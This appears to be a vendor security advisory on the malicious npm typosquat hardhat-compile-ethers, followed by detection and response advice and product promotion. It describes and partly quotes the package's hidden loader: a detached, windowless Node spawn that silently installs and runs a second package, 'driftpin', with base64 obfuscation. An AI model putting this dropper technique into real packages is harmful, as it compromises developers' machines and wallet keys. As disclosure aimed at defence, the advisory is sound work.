hardhat-compile-ethersnpm
Malicious code in hardhat-compile-ethers (npm) Remove it immediately and rotate any exposed credentials.
What this malware does
The package's main entry dist/src/index.js contains a payload appended after the legitimate Hardhat exports. On require/import (e.g. when Hardhat loads the user's config), it spawns a detached Node child (spawn(process.execPath, ['-e', code], {detached:true, stdio:'ignore', windowsHide:true})) that runs a base64-decoded command to silently npm install driftpin --no-save --silent --no-audit --no-fund, then require('driftpin') and invoke getPlugin()(), executing attacker-controlled code in the installer's Node process. Both the shell command and the module name 'driftpin' are base64-encoded to hide them from casual inspection, and the spawn options (detached, stdio ignored, windows window hidden) are evasion mechanics. The payload is absent from the TypeScript source (src/index.ts) and only appears in the published dist artifact, indicating post-build injection. The package name mimics legitimate Hardhat/ethers plugins (e.g. @nomicfoundation/hardhat-ethers, hardhat-deploy-ethers) and the README is copied from wighawag/hardhat-deploy, making this a typosquat that delivers a dependency-chain dropper. Installers are typically Hardhat development machines that hold wallet keys and signing material, making arbitrary code execution on import especially damaging.
Malicious versions
Indicators of compromise (SHA-256)
Detection & response playbook
Credential / info stealerFind it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for hardhat-compile-ethers (13 malicious versions). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging hardhat-compile-ethers across your stack and pipelines.
If you installed it — respond
hardhat-compile-ethers is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.
Did it already run?
If hardhat-compile-ethers was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks hardhat-compile-ethers before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.
Frequently asked questions
Campaign
References
Credits
- Amazon Inspector · finder
Detect & block this
O3 blocks hardhat-compile-ethers-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the credential exfiltration and severs the channel.